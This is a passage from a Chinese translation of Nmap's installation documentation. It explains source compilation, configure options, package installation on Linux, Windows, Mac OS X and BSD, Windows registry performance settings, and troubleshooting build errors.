”,请尝试运行gmake。 -
切换。成为系统范围安装的特权用户:su root
如果您在系统上只有一个非特权 shell 帐户,则可以跳过此步骤。在这种情况下,您可能需要在第四步中通过---prefix 选项进行配置,如下一节所述。
-
安装。安装 Nmap、支持文件、文档等:make install
恭喜! Nmap现在安装到/usr/local/bin/nmap! 运行它不需要任何参数就能看到快速帮助屏幕。
正如您在上面看到的,一个简单的源代码编译和安装只包括以 root 身份运行./configure;make;make install 。但是,有许多可配置的选项会影响 Nmap 的构建方式。
配置指令
大多数 Unix 构建选项由configure
脚本控制,如上面第四步中所使用的。有许多命令行参数和环境变量会影响 Nmap 的构建方式。运行./configure --help以获得带有简短描述的巨大列表。这些不适用于在 Windows 上构建 Nmap。以下是 Nmap特有或特别重要的选项:
--prefix=
<directoryname>
-
这个选项是大多数软件的配置脚本的标准选项,决定Nmap及其组件的安装位置。默认情况下,前缀是/usr/local,意味着nmap安装在/usr/local/bin,手册(nmap.1)安装在/usr/local/man/man1,数据文件(nmap-os-db, nmap-services, nmap-service-probes, 等等)安装在/usr/local/share/nmap。如果你只想改变某些组件的路径,可以使用选项-bindir、-datadir和/或-mandir。--prefix的一个例子是以非特权用户身份在我的账户中安装Nmap。我会运行./configure --prefix=</home/fyodor>。Nmap在安装阶段创建子目录,比如/home/fyodor/man/man1,如果它们不存在。
--without-zenmap
-
这个选项可以阻止Zenmap图形化前端的安装。通常情况下,构建系统会检查你的系统的要求,如Python脚本语言,如果它们都可用,就会安装Zenmap。
--with-openssl=
<directoryname>
-
版本检测系统和 Nmap 脚本引擎能够使用自由的 OpenSSL 库探测 SSL 加密的服务。通常,Nmap 构建系统会在您的系统上查找这些库,并在找到时包含此功能。如果它们位于编译器默认不搜索的位置,但您仍希望使用它们,请指定--with-openssl=<directoryname>.然后Nmap在<directoryname>/libs中寻找OpenSSL库本身,在<directoryname>/include中寻找必要的头文件。指定--without-openssl来完全禁用SSL。
一些发行版附带允许运行程序的用户 OpenSSL 库,但没有编译程序所需的开发文件。如果没有这些开发包,Nmap 将没有 OpenSSL 支持。在基于 Debian 的系统上,安装
libssl-dev
软件包。在基于 Red Hat 的系统上,安装openssl-devel
. --with-libpcap=
<directoryname>
-
Nmap 使用Libpcap 库来捕获原始 IP 数据包。Nmap 通常会在您的系统上查找现有的 Libpcap 副本,并在版本号和平台合适的情况下使用该副本。否则 Nmap 包含它自己最新的 Libpcap 副本(在Nmap源码目录下的libpcap/NMAP_MODIFICATIONS中描述了一些本地修改)。如果您希望强制 Nmap 与您自己的 Libpcap 链接,请把选项--with-libpcap=<directoryname>传给配置。然后Nmap期望Libpcap库在<directoryname>/lib/libpcap.a中,包含文件在<directoryname>/include中。如果您指定--with-libpcap=included,Nmap将总是使用包含在其tarball源码中的Libpcap版本。
--with-libpcre=
<directoryname>
-
PCRE 是一个与 Perl 兼容的正则表达式库,可从http://www.pcre.org获得。Nmap 通常会在您的系统上查找一个副本,如果失败了就退回到它自己的副本。如果您的 PCRE 库不在编译器的标准搜索路径中,Nmap 可能找不到它。在这种情况下,您可以通过指定选项--with-libpcre=<directoryname>来告诉Nmap在哪里可以找到它。然后Nmap期望库文件在<directoryname>/lib中,包含文件在<directoryname>/include中。在某些情况下,您可能希望使用Nmap包含的PCRE库,而不是您系统上已有的那些。在这种情况下,指定--with-libpcre=included。
--with-libdnet=
<directoryname>
-
Libdnet 是 Nmap 用于发送原始以太网帧的优秀网络库。Nmap 树中的版本被大量修改(尤其是 Windows 代码),因此默认使用包含的libdnet版本。如果您希望使用系统上已安装的版本,请指定--with-libdnet=<directoryname>. 然后Nmap希望库文件在<directoryname>/lib中,包含文件在<directoryname>/include中。
--with-localdirs
-
这个简单的选项告诉Nmap在/usr/local/lib和/usr/local/include中寻找重要的库和头文件。这应该是没有必要的,只是有些人把这些库放在/usr/local,而没有配置他们的编译器来找到它们。如果你是这些人中的一员,请使用这个选项。
环境变量
该configure
脚本对几个环境变量很敏感。这些是其中一些变量及其影响。
CFLAGS
,CXXFLAGS
, LDFLAGS-
分别传递给 C 编译器、C++ 编译器和链接器的额外选项。因为Nmap的一部分是用C写的,另一部分是用C++写的,如果您要使用其中的一个,最好同时使用CFLAGS和CXXFLAGS。
LINGUAS
-
默认情况下,make install将安装 Nmap 手册页的所有可用翻译,除了英文版。
LINGUAS
环境变量可以控制安装哪些翻译。它的值应该是一个以空格分隔的 ISO 语言代码列表。例如,要仅安装法语和德语翻译,您可以运行LINGUAS="fr de" make install。要禁用所有翻译的安装,可以在运行configure时使用-disable-nls选项,或者将LINGUAS设置为空字符串。
在理想世界中,软件总是可以在每个系统上完美(并且快速)编译。不幸的是,社会还没有达到涅槃的境界。(
If You Encounter Compilation Problems
In an ideal world, software would always compile perfectly (and quickly) on every system. Unfortunately, society has not yet reached that state of nirvana.
)尽管我们努力使 Nmap 可移植,但偶尔也会出现编译问题。这里有一些建议,以防源码发行编译失败。
- 升级到最新的 Nmap
-
检查https://nmap.org/download.html以确保您使用的是最新版本的 Nmap。问题可能已经解决。
- 仔细阅读错误信息
-
在输出屏幕中向上滚动并检查命令失败时给出的错误消息。通常最好找到第一条错误消息,因为这通常会导致一系列进一步的错误。仔细阅读错误消息,因为它可能表示系统问题,例如磁盘空间不足或编译器损坏。具有编程技能的用户可能能够自己解决更广泛的问题。如果您更改代码以解决问题,请发送补丁(使用diff -uw
<oldfile>
<newfile>
创建)以及有关您的问题和平台的任何详细信息到nmap-dev,如 "Bugs "一节中所述。将更改集成到基本 Nmap 发行版中可以使许多其他用户受益,并避免您必须对每个新的 Nmap 版本进行更改。 - 询问 Google 和其他互联网资源
-
尝试在 Google 或其他搜索引擎上搜索确切的错误消息。您可能还想浏览 Nmap 开发 ( nmap-dev )列表中的最新活动——在http://seclists.org 上提供了档案和搜索界面。
- 询问nmap-dev
-
如果您的研究没有找到解决方案,请尝试向 Nmap 开发 ( nmap-dev ) 邮件列表发送报告,如 "Bugs "一节中所述。
- 考虑二进制包
-
Nmap 的二进制包可在大多数平台上使用,并且通常易于安装。缺点是它们可能不是最新的,并且您失去了自编译的一些灵活性。本章后面的部分描述了如何在许多平台上找到二进制包,甚至更多可以通过 Internet 搜索获得。显然,您应该只安装来自信誉良好的来源的二进制包。
Linux 发行版
Linux是运行Nmap的最流行的平台。在一项用户调查中,86% 的人表示 Linux 至少是他们运行 Nmap 的平台之一。1997 年 Nmap 的第一个版本只在 Linux 上运行。
Linux 用户可以选择源代码安装或使用其发行版或 Insecure.Org 提供的二进制包。二进制包通常更快更容易安装,并且通常稍微定制以使用发行版的标准目录路径等。这些软件包还允许在系统上升级、删除或审视软件方面进行统一管理。一个缺点是发行版创建的软件包必然落后于Nmap.Org的源代码发布。(译者注:因为发行版开发者要获取源码编译测试,但是有的发行版有每夜自动构建系统,它会每天自动构建安装包但不稳定)尽管有一些发行版包含的nmap已经过时了,但大多数 Linux 发行版都保持他们的 Nmap 包相对最新。选择源码安装可以更灵活地确定如何为您的系统构建和优化 Nmap。要从源代码构建 Nmap,请参阅 “Linux/Unix 从源代码编译和安装”一节。以下是最常见发行版的简单安装包说明。
基于 RPM 的发行版(Red Hat、Mandrake、SUSE、Fedora)
我为每个 Nmap 版本构建 RPM 包,并将它们发布到https://nmap.org/download.html的 Nmap 下载页面。我构建了两个包:该nmap
包仅包含命令行可执行文件和数据文件,而该 zenmap
包包含可选的Zenmap 图形前端(参见第 12 章,Zenmap GUI 用户指南)。zenmap包要求先安装nmap包。
通过RPM安装非常简单——它甚至会在给定正确的 URL 时为您下载软件包。以下示例下载并安装 Nmap 4.68,包括前端。当然,您应该使用上面下载站点的最新版本。任何现有版本的RPM安装将被升级。示例 2.8演示了这个安装过程。
#rpm -vhU https://nmap.org/dist/nmap-4.68-1.i386.rpm
Retrieving https://nmap.org/dist/nmap-4.68-1.i386.rpm Preparing... ########################################### [100%] 1:nmap ########################################### [100%] #rpm -vhU https://nmap.org/dist/zenmap-4.68-1.noarch.rpm
Retrieving https://nmap.org/dist/zenmap-4.68-1.noarch.rpm Preparing... ########################################### [100%] 1:zenmap ########################################### [100%]
正如上面的文件名所暗示的,这些二进制 RPM 是为普通 PC(x86 架构)创建的。 我也分发 x86_64适用于 64 位 Linux 用户的二进制文件。这些二进制文件不适用于其他平台(如 SPARC、Alpha 或 PowerPC)上相对较少的 Linux 用户。如果您的库版本与最初构建的 RPM 完全不同,它们也可能会拒绝安装。在这些情况下,一种选择是查找 Linux 供应商为您的特定发行版准备的二进制 RPM。原始安装 CD 或 DVD 是一个不错的起点。不幸的是,这些可能不是最新的或可用的。另一种选择是如前所述从源代码安装 Nmap,尽管您失去了二进制包维护一致性的好处。第三种选择是从上面下载页面分发的源码RPM中构建和安装您自己的二进制 RPM。 例 2.9用 Nmap 4.68 演示了这种技术。(译者注:三种方法是官方rpm,自建rpm,编译安装)
>rpmbuild --rebuild https://nmap.org/dist/nmap-4.68-1.src.rpm
[ hundreds of lines cut ] Wrote: /home/fyodor/rpmdir/RPMS/i386/nmap-4.68-1.i386.rpm [ cut ] >su
Password: #rpm -vhU /home/fyodor/rpmdir/RPMS/i386/nmap-4.68-1.i386.rpm
Preparing... ########################################### [100%] 1:nmap ########################################### [100%] #
没有必要以这种方式重建 Zenmap,因为 Zenmap RPM 是独立于架构的(“ noarch ”)。因此,没有 Zenmap 源码RPM。
删除 RPM 软件包就像rpm -e nmap zenmap一样简单。
使用 Yum 更新 Red Hat、Fedora、Mandrake 和 Yellow Dog Linux
Red Hat、Fedora、Mandrake 和 Yellow Dog Linux 发行版有一个名为Yum的应用程序, 它管理来自中央 RPM 存储库的软件安装和更新。这使得软件的安装和更新变得非常简单。由于通常使用特定于发行版的 Yum 存储库,因此您知道该软件已经过与您的特定发行版的兼容性测试。大多数发行版都在其 Yum 存储库中维护 Nmap,但它们并不总是保持最新。如果您(像大多数人一样)不总是快速更新到您的发行版的最新版本,这尤其成问题。如果你运行的是两年前的 Linux 版本,Yum 通常会给你一个两年前的 Nmap 版本。即使是最新版本的发行版通常也需要几个月才能更新到新的 Nmap 版本。因此,对于这些系统上的最新版本的 Nmap,请尝试我们分发的 RPM,如上一节所述。 yum install nmap(如果您也想要 GUI,请运行yum install nmap zenmap ,尽管有些发行版还没有打包 Zenmap)。Yum 负责联系 Internet 上的存储库,为您的架构找到合适的包,然后将其与任何必要的依赖项一起安装。这在示例 2.10中显示(为简洁起见进行了编辑) 。您可以稍后执行 yum update以安装 Nmap 和存储库中其他软件包的可用更新。
flog~# yum install nmap
Setting up Install Process
Parsing package install arguments
Resolving Dependencies
--> Running transaction check
---> Package nmap.x86_64 2:4.52-1.fc8 set to be updated
--> Finished Dependency Resolution
Dependencies Resolved
=============================================================================
Package Arch Version Repository Size
=============================================================================
Installing:
nmap x86_64 2:4.52-1.fc8 updates 1.0 M
Transaction Summary
=============================================================================
Install 1 Package(s)
Update 0 Package(s)
Remove 0 Package(s)
Total download size: 1.0 M
Is this ok [y/N]: y
Downloading Packages:
(1/1): nmap-4.52-1.fc8.x8 100% |=========================| 1.0 MB 00:02
Running Transaction Test
Transaction Test Succeeded
Running Transaction
Installing: nmap ######################### [1/1]
Installed: nmap.x86_64 2:4.52-1.fc8
Complete!
Debian Linux 和 Ubuntu 等衍生产品
LaMont Jones 维护 Nmapdeb
包,包括使它们保持最新。正确的升级/安装命令是apt-get install nmap。 这也适用于 Debian 衍生产品,例如 Ubuntu。最新的 Debian “ stable ” Nmap 包的信息可在http://packages.debian.org/stable/nmap获得,开发(“不稳定”)Nmap 和 Zenmap 包可从http://packages.debian.org/unstable/nmap和http://packages.debian.org/unstable/zenmap获得。
有时 Debian 的 Nmap 版本比当前 Nmap 版本晚一年或更长时间。获取最新版本的一种选择是从源代码编译,如“Linux/Unix 从源代码编译和安装”一节中所述。另一种选择是从 Nmap 下载页面下载 RPM 格式的二进制文件,使用alien命令将它们转换为deb包,然后使用dpkg安装它们,如下面的列表所述:(译者注:alien是将rpm转deb的实用工具)
deb
格式以便在 Debian/Ubuntu 上安装的步骤-
如果您没有alien 命令,请使用诸如sudo apt-get install alien之类的命令安装它
-
从https://nmap.org/download.html下载适用于您的平台(x86 或 x86-64)的 Nmap RPM 。此描述将使用
nmap-5.21-1.x86_64.rpm
-
验证下载完整性,如“验证 Nmap 下载的完整性”一节中所述。
-
使用sudo alien nmap-5.21-1.x86_64.rpm等命令生成 Debian 包
-
使用sudo dpkg --install nmap_5.21-2_amd64.deb等命令安装 Debian 软件包
-
可以对其他 Nmap RPM 重复步骤 2-5,例如 Zenmap、Ncat 和 Nping。
其他 Linux 发行版
这里列出的 Linux 发行版太多了,但即使是许多不起眼的发行版也将 Nmap 包含在它们的安装包树中。如果他们不这样做,您可以简单地从源代码编译,如“Linux/Unix 从源代码编译和安装”一节中所述。
视窗
虽然 Nmap 曾经是一个仅限 Unix 的工具,但 Windows 版本于 2000 年发布后成为第二大流行的 Nmap 平台(仅次于 Linux)。由于这种流行性以及许多 Windows 用户没有编译器的事实,每个Nmap大版本都分发二进制可执行文件。我们在 Windows 7 和更高版本,以及 Windows Server 2008 和更高版本上支持 Nmap。我们还 为必须在早期 Windows 版本上运行 Nmap 的用户提供指南。虽然它已显着改进,但 Windows 端不如 Unix 高效。以下是已知的限制:
-
Nmap 仅支持以太网接口(包括大多数 802.11 无线网卡和许多 VPN 客户端)进行原始数据包扫描。除非您使用这些
-sT -Pn
选项,否则不支持 RAS 连接(例如 PPP 拨号)和某些 VPN 客户端。当 Microsoft 在 Windows XP SP2 中删除原始 TCP/IP 套接字支持时,此支持已被移除。现在 Nmap 必须发送底层的以太网帧。 -
在无 Npcap 的情况下使用 Nmap 时,通常无法从自身扫描自己的机器(使用环回IP 例如 127.0.0.1 或其任何注册 IP 地址)。这是一个Windows的限制,我们在Npcap中解决了这个问题,Npcap包含在Windows的自安装程序中。没有安装Npcap的用户也可以使用无ping的TCP连接扫描(-sT -Pn),因为它使用高级套接字API而不是发送原始数据包。
Windows 上的扫描速度通常与 Unix相当,尽管后者通常具有微弱的性能优势。一个例外是连接扫描 ( -sT
),由于 Windows 网络 API 的先天缺陷,它在 Windows 上通常要慢得多。这是一种耻辱,因为这是一种适用于所有网络类型的 TCP 扫描(不仅仅是以太网,如原始数据包扫描)。连接扫描性能可以通过应用Nmap包含的nmap_performance.reg文件中的注册表修改而得到很大改善。默认情况下,Nmap 可执行安装程序会为您应用这些更改。这个注册表文件在Windows二进制zip文件的nmap-<version>目录下,在源码tarball 的nmap-<version>/mswin32中(其中<version>是特定版本的版本号)。这些更改增加了为用户应用程序(例如 Nmap)保留的临时端口的数量,并减少了重新使用关闭的连接之前的时间延迟。大多数人只是在可执行的Nmap安装程序中勾选应用这些变化,但您也可以通过双击nmap_performance.reg,或运行regedt32 nmap_performance.reg命令来应用它们。要手动进行更改,请将这三个注册表 DWORD 值添加到 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
:
- MaxUserPort
-
设置一个较大的值,例如 65534 (0x0000fffe)。请参阅MS 知识库文章 196271。
- TCPTimedWaitDelay
-
设置最小值 (0x0000001e)。请参阅MS 知识库文章 149532。
- StrictTimeWaitSeqCheck
-
设置为 1,以便检查 TCPTimedWaitDelay。
笔记 | |
---|---|
我要感谢eEye 的 Ryan Permeh、Andy Lutomirski和 Jens Vogt在 Nmap Windows 移植上的辛勤工作。多年来,Nmap 是一个仅限 Unix 的工具,如果没有他们的努力,它很可能仍然是这样。 |
Windows 用户有三种安装 Nmap 的选择,所有这些都可以从https://nmap.org/download.html的下载页面获得。
Windows 自安装程序
每个 Nmap 版本都包含一个名为nmap-
(其中<version>
-setup.exe<version>
是特定版本的版本号)的 Windows 自安装程序 。大多数 Nmap 用户选择此,因为它非常简单。自安装程序的另一个优点是它提供了安装 Zenmap GUI 和其他工具的选项。只需运行安装程序文件,让它引导您通过面板选择安装路径和安装 Npcap。安装程序是使用开源Nullsoft Scriptable Install System创建的。完成后,请阅读名为“在 Windows上执行 Nmap”的部分,了解有关在命令行或通过 Zenmap 执行 Nmap 的说明。
命令行 Zip 二进制文件
笔记 | |
---|---|
大多数用户更喜欢使用前面讨论过的自安装程序来安装 Nmap。 |
每个稳定的 Nmap 版本在 Zip 存档中都带有 Windows 命令行二进制文件和相关文件。不包括图形界面,所以您需要从DOS/命令窗口运行nmap.exe。或者,您可以下载并安装高级命令 shell,如那些包含在自由Cygwin系统中的命令shell,可从https://www.cygwin.com获取。以下是安装和执行 Nmap .zip 二进制文件的分步说明。
安装 Nmap zip 二进制文件
-
下载。从https://nmap.org/download.html下载 .zip 二进制文件。
-
解压。将 zip 文件解压缩到您希望 Nmap 驻留的目录中。例如
C:\Program Files
. 应该创建 一个名为nmap-<version>的目录 ,其中包括 Nmap 可执行文件和数据文件。 -
配置。为了提高性能,请应用前面讨论过的 Nmap 注册表更改。
-
依赖。Nmap 需要自由的 Npcap 数据包捕获库。我们包括一个最新的 Npcap 安装程序,它在 zip 文件中以
npcap-
,其中<version>
.exe的形式提供<version>
是 Npcap 版本而不是 Nmap 版本。或者,您可以从https://npcap.com获取并安装最新版本。 -
依赖。由于 Nmap 的编译方式,它需要运行时组件的 Microsoft Visual C++ Redistributable Package。许多系统已经从其他软件包中安装了这个,但是您应该从压缩文件中运行VC_redist.x86.exe,以防您需要它。通过/q选项可以在安静(非交互)模式下运行这些安装程序。
-
运行。“在 Windows 上执行 Nmap”一节中给出了执行已编译 Nmap 的说明。
从源代码编译
大多数 Windows 用户更喜欢使用 Nmap 二进制自安装程序,但从源代码编译也是一种选择,特别是如果您计划帮助 Nmap 开发。编译需要 Microsoft Visual C++ 2019,这是他们的商业Visual Studio 套件的一部分。任何 Visual Studio 2019 版本都应该可以工作,包括免费的 Visual Studio 2019 社区版。
Nmap 在 Windows 上的一些依赖项构建起来很不方便。因此,依赖项的预编译二进制文件存储在 Subversion 的目录中/nmap-mswin32-aux
。从源代码构建时,无论是从源代码版本还是从 Subversion 构建,请按如下所述进行检查/nmap-mswin32-aux。
-
使用命令svn checkout https://svn.nmap.org/nmap-mswin32-aux 从 Subversion 下载 Windows 依赖 项。构建文件配置为在此检查目录中查找依赖项。如果您想自己构建依赖项,则必须重新配置 Visual Studio 项目文件以指向备用目录。
-
决定是通过从 nmap.org 下载最新版本来获取 Nmap 源代码,还是使用 Subversion 客户端从我们的存储库中检索更新(但测试较少)的代码。这些说明适用于 Web 下载方法,但使用 Subversion 也很简单(请参阅“从 Subversion (SVN) 存储库获取 Nmap”一节)。
-
下载。从https://nmap.org/download.html下载最新的 Nmap 源代码分发。它具有名称nmap-<version>.tar.bz2或nmap-<version>.tgz 。这些是分别使用 bzip2 或 gzip 压缩的相同 tar 文件。bzip2 压缩版本更小。
-
解压。解压刚刚下载的源代码文件。源代码目录和
nmap-mswin32-aux
必须在同一个父目录下。免费Cygwin 发行版的最新版本可以同时处理.tar.bz2
和.tgz
格式。分别使用命令tar xvjf nmap-version.tar.bz2或tar xvzf nmap-version.tgz。或者,常见的WinZip应用程序也可以解压缩这些文件。 -
打开。打开 Visual Studio 和 Nmap 解决方案文件 ( nmap-<version>/mswin32/nmap.sln)。
-
配置。在 "解决方案资源管理器 "侧边栏中右击 "nmap "解决方案,选择 "配置管理器"。确保活动解决方案配置是
Release
,然后关闭配置管理器。 -
构建。通过按F7或从 GUI 中选择“ Build Solution ”来构建 Nmap。Nmap 应该开始编译,并以“
-- Done --
”行结束,表示所有项目都构建成功并且失败为零。 -
打包。可执行文件和数据文件位于nmap-<version>/mswin32/Release/. 只要它们都保存在一起,您就可以将它们复制到你喜欢的目录。
-
依赖。确保你已经安装了Npcap。你可以通过安装我们的二进制自我安装程序或执行我们压缩包中的npcap-<版本>.exe来获得它。另外,你也可以在https://npcap.com,获得官方的安装程序。
-
下一节将给出执行编译的 Nmap 的说明。
如果您希望构建 Nmap 可执行 Windows 安装程序或 Zenmap 可执行文件,请参阅Nmap SVN 存储库docs/win32-installer-zenmap-buildguide.txt
。
很多人问过 Nmap 是否可以 用 Cygwin 或其他编译器附带的gcc / g++编译。一些用户报告了这方面的成功,但我们不维护在 Cygwin 下构建 Nmap 的说明。
在 Windows 上执行 Nmap
Nmap 版本现在包括 Nmap 的 Zenmap图形用户界面。如果您使用 Nmap 安装程序并选中 Zenmap 字段,您的桌面和开始菜单上应该会有一个新的 Zenmap 条目。点击它开始。Zenmap 在 第 12 章,Zenmap GUI 用户指南中有完整的文档。虽然许多用户喜欢 Zenmap,但其他人更喜欢传统的命令行方法来执行 Nmap。以下是针对不熟悉命令行界面的用户的详细说明:
-
确保你登录的用户在计算机上有管理权限(用户应该是
administrators
组的成员)。 -
打开命令/DOS 窗口。虽然它可以在程序菜单树中找到,但最简单的方法是选择“开始” -> “运行”并键入cmd<enter>。通过单击桌面上的 Cygwin 图标打开 Cygwin 窗口(如果已安装)也可以,尽管必要的命令与此处显示的命令略有不同。
-
切换到你安装 Nmap 的目录。如果 Nmap 已经在你的命令路径中,你可以跳过这一步(Zenmap installer 默认将它添加到那里)。否则,请键入以下命令。
c:
cd "\Program Files (x86)\Nmap"
在Windows 7之前的Windows版本上,指定 \Program Files\Nmap代替。如果您选择在非默认位置安装Nmap,该目录也会不同。
-
执行nmap.exe。 图 2.1是一个简单示例的屏幕截图。
如果你经常执行 Nmap,你可以将 Nmap 目录(默认c:\Program Files (x86)\Nmap
)添加到你的命令执行路径:
苹果 Mac OS X
Nmap 自 2001 年以来一直支持 Mac OS X,而且我们的支持随着时间的推移而不断改进。虽然 Mac 用户可以自己编译 Nmap,但我们还提供了一个可执行的安装程序。Nmap 使用 Jhbuild 和 gtk-mac-bundler,它们用于为 Mac OS X 构建一些项目,例如 OpenSSL、libapr、libsvn... Nmap 也可以通过 MacPorts 和 Fink 等系统获得,它们为Mac OS X打包Unix软件。
可执行安装程序
在 Mac OS X 上安装 Nmap 和 Zenmap 最简单的方法是使用我们的安装程序。Nmap 下载页面的 Mac OS X 部分提供了一个名为 nmap-<version>.dmg的文件 ,其中 <version>
是最新版本的版本号。.dmg
文件被称为 “磁盘镜像”。安装说明如下:
-
下载文件nmap-<版本>.dmg。双击图标来打开它。(根据你下载文件的方式,它可能被自动打开)。
-
磁盘镜像的内容将被显示。其中一个文件将是一个名为nmap-<版本>.mpkg的Mac元包文件。打开它以启动安装程序。
在 OS X 10.8 及更高版本上,您可能会看到 如图 2.2 所示的对话框。
图 2.2。Apple Gatekeeper 屏蔽屏幕
如果出现这种情况,则需要右键单击或按住 Control 单击.mpkg
并选择“打开”, 如图 2.3所示。图 2.3。Apple Gatekeeper 打开菜单
将出现一个与第一个类似的对话框,这次有一个 “打开”按钮(如图 2.4所示)。单击按钮继续。图 2.4。Apple Gatekeeper 打开屏幕 -
按照安装程序中的说明进行操作。由于 Nmap 安装在系统目录中,系统会要求您输入密码。
-
一旦安装程序完成后,通过control单击其图标并选择 “ Eject ”来弹出磁盘映像。磁盘映像现在可以放入垃圾箱。
请参阅 "在Mac OS X上执行Nmap "一节中的说明,以获得关于安装Nmap和Zenmap后运行它们的帮助。
安装程序安装的程序将在 Intel Mac OS X 10.5 (Leopard) 或更高版本上运行。早期版本的用户必须从源代码编译或使用第三方包。PowerPC (PPC) Mac 系统(Apple 于 2006 年停止销售)的说明可在我们的 wiki 上找到。
从源码编译
一旦有了合适的编译环境,在Mac OS X上源码编译Nmap并不比在其它平台上困难。
从源码编译 Nmap
在 Mac OS X 上编译 Nmap 需要 Xcode , Apple 的开发人员工具,包括 GCC 和其他常用构建系统。Xcode 默认不安装,但可以从Mac App Store免费下载。安装 Xcode 后,打开 “ Preferences ”,选择 “ Downloads ”选项卡,点击 “ Command Line Tools ”旁边的“ Install ”。
Xcode 安装并不总是包含命令行工具。您可以通过从 Applications 文件夹打开 Xcode,打开 Preference 选择Download头
图标并单击“Command Line Tools”旁边的
Install
按钮来安装它们。
安装 Xcode 和命令行工具后,请按照“Linux/Unix 源代码编译和安装”一节中的编译说明进行操作。请注意,在某些旧版本的 Mac OS X 上,您可能必须将命令./configure替换为./configure CPP=/usr/bin/cpp。此外,在一些较新的 Mac OS X 版本上,Apple 提供的库的 libpcap 版本可能太旧了。您可能必须使用命令./configure --with-libpcap=included配置 Nmap才能使用 Nmap 中包含的兼容版本,或者您应该更新安装在您机器上的 libpcap。
从源代码编译 Zenmap
Zenmap 依赖于一些 Mac OS X 不附带的外部库,包括 GTK+ 和 PyGTK。这些库有许多自己的依赖项。安装所有这些的便捷方法是使用本节 中所述的第三方打包系统 。安装依赖项后,按照“Linux/Unix 从源代码编译和安装”一节中的说明照常安装 Zenmap。
第三方包
安装 Nmap 的另一个选择是使用为 Mac OS X 打包 Unix 软件的系统。这里讨论的两个是 Fink和 MacPorts。有关如何安装包管理器的信息,请参见各自项目的网站。
要使用 Fink 进行安装,请运行命令fink install nmap。Nmap 将安装到 /sw/bin/nmap
. 要卸载使用命令 fink remove nmap。
要使用 MacPorts 安装,请运行sudo port install nmap。Nmap 将安装到 /opt/local/bin/nmap
. 要卸载,请运行 sudo port uninstall nmap。
这些系统将nmap可执行文件安装在全局PATH之外。为了使Zenmap能够找到它,在zenmap.conf中设置nmap_command_path变量为/sw/bin/nmap或/opt/local/bin/nmap,如 "nmap可执行文件 "一节所述
在 Mac OS X 上执行 Nmap
Mac OS X 中的终端模拟器称为 终端,位于目录中 /Applications/Utilities
。打开它并出现一个终端窗口。您将在此处键入命令。
默认情况下,root 用户在 Mac OS X 上被禁用。要使用 root 权限运行扫描,请在命令名称前加上 sudo, 就像在sudo nmap -sS<target>
中一样。您将被要求输入密码,这只是您的正常登录密码。只有具有管理员权限的用户才能执行此操作。
Zenmap 需要安装X11应用程序。如果默认情况下没有安装它,它可能作为 Mac OS X 安装光盘上的可选安装提供。
Zenmap 启动时,会显示一个对话框,要求您输入密码。具有管理员权限的用户 可以输入他们的密码以允许 Zenmap 以 root 用户身份运行并运行更高级的扫描。要在非特权模式下运行 Zenmap,请选择 此身份验证对话框上的“取消”按钮。
其他平台(BSD、Solaris、AIX、AmigaOS)
大多数 Nmap 用户在 Linux、Windows 或 Mac OS X 上运行该软件。我们认为这些是我们的首要平台,我们维护构建和测试机器以确保每个构建都很好地支持它们。
Nmap 还可以在许多其他平台上运行,我们没有足够的资源来频繁地亲自测试或构建二进制包。我们依靠一个热情的用户社区来帮助 Nmap 保持对本页面上平台的一流支持,我们总是很高兴看到 Nmap 扩展到其他平台。
以下部分提供了在特定平台上运行 Nmap 的提示。
FreeBSD / OpenBSD / NetBSD
Nmap 很好地支持 BSD 风格,因此您可以简单地从源代码编译它,如“Linux/Unix 从源代码编译和安装”一节中所述。这提供了始终拥有最新版本和灵活构建过程的正常优势。如果您更喜欢二进制包,这些 *BSD 变体每个都维护自己的 Nmap 包。许多 BSD 系统还有一个移植树,它标准化了流行应用程序的编译。下面是在最流行的 *BSD 变体上安装 Nmap 的说明。
OpenBSD 二进制包和源码移植说明
根据OpenBSD 常见问题解答, “强烈建议用户使用软件包而不是从移植中构建应用程序。OpenBSD 移植团队认为软件包才是他们移植工作的目标,而不是移植本身。” 这个FAQ包含了每种方法的详细说明。这是一个摘要:
-
从http://www.openbsd.org/ftp.html中选择一个镜像,然后 FTP 进入并从中获取 Nmap 包 。或者从 OpenBSD 发行版 CD-ROM 获得它。
/pub/OpenBSD/
<version>
/packages/<platform>
/nmap-<version>
.tgz -
以root 身份执行:pkg_add -v nmap-
<version>
.tgz
-
如果您还没有移植树的副本,请使用http://openbsd.org/faq/faq15.html上的说明通过 CVS 获取它。
-
以 root 身份执行以下命令(如果不同,则用本地移植目录替换/usr/ports):
cd /usr/ports/net/nmap && make install clean
FreeBSD 二进制包和源码移植说明
FreeBSD 项目在其手册中有一整章 描述了包和移植安装过程。以下是该过程的简要总结。
安装二进制包
安装二进制 Nmap 包的最简单方法是运行 pkg_add -r nmap。如果您想要X-Window前端,您可以用zenmap参数运行同一命令。如果您希望手动获取软件包,请从http://freshports.org/security/nmap和http://freshports.org/security/zenmap或 CDROM 中检索它并运行pkg_add<packagename.tgz>
。
使用源码移植树安装
-
移植树通常与系统本身一起安装(通常在 中
/usr/ports
)。如果您还没有它,上面提到的 FreeBSD 手册章节中提供了具体的安装说明。 -
以 root 身份执行以下命令(如果不同,则用本地移植目录替换/usr/ports):
cd /usr/ports/security/nmap && make install clean
NetBSD 二进制包说明
NetBSD 为大量硬件平台打包了 Nmap,从普通的 i386 到 PlayStation 2、PowerPC、VAX、SPARC、MIPS、Amiga、ARM,还有一些我甚至都没听说过的平台!NetBSD Nmap 软件包列表可从ftp://ftp.netbsd.org/pub/NetBSD/packages/pkgsrc/net/nmap/README.html获得,关于使用他们的软件包系统来安装应用程序的描述,可在http://netbsd.org/Documentation/pkgsrc/using.html获得。
甲骨文/Sun Solaris
Solaris 长期以来一直受到 Nmap 的良好支持,尽管我们严重依赖 Nmap 社区来帮助保持这种状态。我们建议按照“Linux/Unix 从源代码编译和安装”一节中的说明从源代码编译和安装 Nmap 。如果您遇到问题,请尝试将包含完整详细信息的报告发送到nmap-dev邮件列表,如“错误”一节中所述。如果您开发了改进 Solaris 支持的补丁,请告诉我们,以便我们可以将其合并到 Nmap 中,让其他Solaris用户受益。
IBM AIX
可以按照“Linux/Unix Compilation and Installation from Source Code”一节 中的说明在 IBM AIX 上从源代码安装 Nmap 。你只需要注意一些细节。
您必须使用 gcc编译器,而不是xlc。Nmap 的配置脚本会自动查找 gcc,如果它位于 PATH
环境变量。
默认的as汇编器的一些版本要么 崩溃,要么 产生无法链接的目标文件。如果您看到如下编译器输出,就会发生这种情况:
g++: internal compiler error: Segmentation fault (program as) Please submit a full bug report, with preprocessed source if appropriate. See <http://gcc.gnu.org/bugs.html> for instructions.
